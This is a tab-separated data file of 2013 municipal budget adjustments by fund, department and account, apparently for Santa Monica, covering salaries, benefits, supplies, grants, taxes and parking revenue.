3463	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	1532.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1547.0
3464	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2013	22000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22000.0
3465	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	8160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8160.0
3466	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2013	14940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14940.0
3467	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	2255.0	0	0.0	0.0	0	0	0.0	23	0.0	0	0	0.0	2278.0
3468	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	4996.0	0	0.0	0.0	0	0	0.0	50	0.0	0	0	0.0	5046.0
3469	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2013	-4900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4900.0
3470	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533730.0	MOBILE DATA EQUIP & MAINT	806.0	 Supplies and Expenses	2013	69076.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	69076.0
3471	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	408270.0	WINDWARD SCH-WELL RELOCATION	622.0	Other	2013	-434000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-434000.0
3472	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400080.0	HOME EXEMPT TAX RELIEF	602.0	Property Taxes	2013	-209052.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-209052.0
3473	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400100.0	FRANCHISE TAX - UTILITIES	608.0	Licenses and Permits	2013	-990296.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-990296.0
3474	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400160.0	SALES / USE TAX	604.0	Sales Tax	2013	-25500347.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25500347.0
3475	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405100.0	PARKING FACILITY TAX	606.0	Other Local Taxes	2013	-10067000.0	0	0.0	0.0	0	0	0.0	-333000	0.0	0	0	0.0	-10400000.0
3476	B1	IS	4	Special Revenue Source Fund	130	FINANCE	221	ADMINISTRATION	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2013	-260750.0	0	0.0	0.0	0	0	0.0	260750	0.0	0	0	0.0	0.0
3477	B1	IS	14	TORCA Fund	130	FINANCE	221	ADMINISTRATION	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	-27000.0	0	0.0	27000.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3478	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579009.0	DISCRET-WATER SUSTAIN	804.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
3479	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	406854.0	OTS SOBRIETY CHECKPOINT 2013	610.0	Intergovernmental	2013	0.0	0	-45000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-45000.0
3480	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	410220.0	DOWNTOWN ADVERTISING REVENUE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	-200000	0.0	200000	0	0.0	0.0
3481	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	403635.0	JUSTICE ASSIST GRANT 2013-OT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-29283	0	0.0	-29283.0
3482	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	1122	0	0.0	0	0.0	0	0	0.0	1122.0
3483	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	137	0	0.0	0	0.0	0	0	0.0	137.0
3484	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	-1306	0	0.0	0	0.0	0	0	0.0	-1306.0
3485	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	28358.0	0	0.0	0.0	0	0	0.0	284	0.0	0	0	0.0	28642.0
3486	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2013	14450.0	0	0.0	-222.0	0	0	0.0	0	0.0	0	0	0.0	14228.0
3487	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2013	2170.0	0	0.0	-7.0	0	0	0.0	0	0.0	0	0	0.0	2163.0
3488	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	12167.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12167.0
3489	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	82327.0	0	0.0	0.0	0	0	0.0	823	0.0	0	0	0.0	83150.0
3490	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2013	3365.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3365.0
3491	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	2317.0	0	0.0	75.0	0	0	0.0	0	0.0	0	0	0.0	2392.0
3492	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2013	3779.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3779.0
3493	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2013	24900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24900.0
3494	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	6948.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6948.0
3495	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511250.0	STANDBY PAY	808.0	Salaries and Wages	2013	23235.0	0	0.0	0.0	0	0	0.0	232	0.0	0	0	0.0	23467.0
3496	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	6090.0	0	0.0	0.0	0	0	0.0	153	0.0	0	0	0.0	6243.0
3497	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	553011.0	OTS SOBRIETY CHECKPOINT 2012	806.0	 Supplies and Expenses	2013	2000.0	0	0.0	2000.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
3498	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS		 Supplies and Expenses	2013	65000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65000.0
3499	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408390.0	REAL BEACH PKG FED GRANT	610.0	Intergovernmental	2013	-879000.0	0	0.0	0.0	0	0	0.0	0	346000.0	0	0	0.0	-533000.0
3500	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404870.0	1665 OCEAN AVE PKG LOT	608.0	Licenses and Permits	2013	-8400.0	0	0.0	0.0	0	0	0.0	0	0.0	8400	0	0.0	0.0
3501	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402460.0	TENANT UTILITIES PAYMENT	650.0	Charges for Service	2013	-108930.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-108930.0
3502	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401400.0	UTILITY EXCAVATION FEES	612.0	Charges for Service	2013	-87916.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-87916.0
3503	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING-TRANS OUT TO 01 FD	910.0	 Supplies and Expenses	2013	226625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	226625.0
3504	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544016.0	ANALYTICAL INSTR CONSUMABLES	808.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
3505	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2013	50555.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50555.0
3506	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	292998.0	-56386	0.0	0.0	0	0	0.0	4982	0.0	0	0	0.0	241594.0
3507	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3508	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2013	518.0	-104	0.0	0.0	0	0	0.0	-1	0.0	0	0	0.0	413.0
3509	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
3510	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	549208.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	549208.0
3511	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2013	5846.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5846.0
3512	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544200.0	SPORTS SUPPLIES	808.0	 Supplies and Expenses	2013	29500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29500.0
3513	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2013	370.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	370.0
3514	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2013	313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313.0
3515	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
3516	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	15127.0	0	0.0	0.0	0	0	0.0	151	0.0	0	0	0.0	15278.0
3517	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2013	1984.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1984.0
3518	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	8096.0	0	0.0	0.0	0	0	0.0	81	0.0	0	0	0.0	8177.0
3519	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2013	34846.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	34846.0
3520	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	405580.0	GILLETTE SETTLEMENT	622.0	Other	2013	-2433175.0	0	0.0	0.0	0	0	0.0	2433175	0.0	0	0	0.0	0.0
3521	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	406000.0	ESTIMATED USER FEE INCREASES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3522	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408360.0	SUCCESSOR AGENCY ADMIN	622.0	Other	2013	-840612.0	0	0.0	0.0	0	0	0.0	840612	0.0	0	0	0.0	0.0
3523	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579002.0	DISCRET-BID FUNDING INCRE	804.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3524	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410130.0	OTHER PROF SVCS PROVIDED	612.0	Charges for Service	2013	-2536.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2536.0
3525	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	50204	0.0	0	0	0.0	50204.0
3526	B1	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402950.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	0.0	0	-1000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1000.0
3527	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578841.0	JUSTICE ASSIST GRANT 2013-OT	806.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	29283	0	0.0	29283.0
3528	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	26122	0	0.0	0	0.0	0	0	0.0	26122.0
3529	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	375	0.0	0	0	0.0	375.0
3530	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2013	2600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2600.0
3531	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
3532	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
3533	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	2608.0	0	0.0	0.0	0	0	0.0	-438	0.0	0	0	0.0	2170.0
3534	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	804.0	Salaries and Wages	2013	1841.0	0	0.0	0.0	0	0	0.0	-284	0.0	0	0	0.0	1557.0
3535	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	563123.0	PARATRANSIT PROGRAM-PROP A LR	808.0	 Supplies and Expenses	2013	192711.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	192711.0
3536	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	556035.0	USED OIL PAY PROG OPP3	808.0	 Supplies and Expenses	2013	25596.0	0	0.0	0.0	0	0	0.0	-19495	-6101.0	0	0	0.0	0.0
3537	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561115.0	OPCC SAFE HAVEN-PROP A	808.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3538	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561119.0	OPCC SOJOURN - PROP A	808.0	 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
3539	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		ST JOSEPH CENTER FSS - PROP A	808.0	 Supplies and Expenses	2013	7081.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7081.0
3540	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408510.0	BIKE NETWORK LINK EXPO-METRO	610.0	Intergovernmental	2013	-737255.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-737255.0
3541	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2013	130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	130.0
3542	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DCAP	810.0	Salaries and Wages	2013	60.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60.0
3543	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3544	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	401700.0	CIVIC AUDITORIUM RENTALS	612.0	Charges for Service	2013	-154800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-154800.0
3545	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	659648.0	0	0.0	0.0	0	0	0.0	6596	0.0	0	0	0.0	666244.0
3546	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2013	1680.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1680.0
3547	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	6200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6200.0
3548	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-3368.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3368.0
3549	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	124117.0	0	0.0	0.0	0	0	0.0	1241	0.0	0	0	0.0	125358.0
3550	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	30562.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30562.0
3551	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2013	18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18000.0
3552	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566920.0	YRT COLLABORATIVE		 Supplies and Expenses	2013	90220.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	90220.0
3553	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544397.0	OTHER-REFUND D/A	816.0	 Supplies and Expenses	2013	0.0	0	231854.81	0.0	0	0	0.0	0	0.0	0	0	0.0	231854.81
3554	B1	IS	20	Miscellaneous Grants Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522870.0	THE BIG READ GRANT	812.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	15950	0.0	0	0	0.0	15950.0
3555	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	65042	0	0.0	650	0.0	0	0	0.0	65692.0
3556	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	4545	0.0	0	0	0.0	4545.0
3557	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	319	0	0.0	3	0.0	0	0	0.0	322.0
3558	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	38500	0.0	0	0	0.0	38500.0
3559	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-228000	0.0	0	0	0.0	-228000.0
3560	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401210.0	DAMAGE TO CITY PROPERTY	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-50000	0.0	0	0	0.0	-50000.0
3561	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMBURSEMENT	910.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	439605	0.0	0	0	0.0	439605.0
3562	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404420.0	5TH AND ARIZONA PARKING	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-400000	0	0.0	-400000.0
3563	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404430.0	MAIN STREET PARKING LOTS	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-1020000	0	0.0	-1020000.0
3564	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	410220.0	DOWNTOWN ADVERTISING REVENUE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-200000	0	0.0	-200000.0
3565	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	1576	0	0.0	1576.0
3566	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406804.0	13 STATE HOMELAND SEC GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	-200000.0	-200000.0
3567	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579003.0	DISCRET-CRADLE TO CAREER	804.0	 Supplies and Expenses	2013	145088.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	145088.0
3568	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406799.0	13 UASI GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	-47000	0.0	-47000.0
3569	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	1600	0.0	0	0	0.0	1600.0
3570	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	24825	0.0	0	0	0.0	24825.0
3571	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405090.0	CITY YARDS LEASE	618.0	Rentals	2013	0.0	0	0.0	0.0	0	0	0.0	-1433025	0.0	0	0	0.0	-1433025.0
3572	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405580.0	GILLETTE SETTLEMENT	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-2433175	0.0	0	0	0.0	-2433175.0
3573	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	-1151756	-1855.0	0	0	0.0	-1153611.0
3574	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577347.0	HUD NRA RESERVE ACCOUNT	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	-757056	0.0	0	0	0.0	-757056.0
3575	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400310.0	STRUCTURE ATTENDANT PARKING	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-7100000	0	0.0	-7100000.0
3576	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407260.0	STRUCTURE 9 PARKING	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-500000	0	0.0	-500000.0
3577	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408230.0	MIDTOWN PARKING LOTS	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-122000	0	0.0	-122000.0
3578	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408240.0	PARKING STRUCTURE 10	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-280000	0	0.0	-280000.0
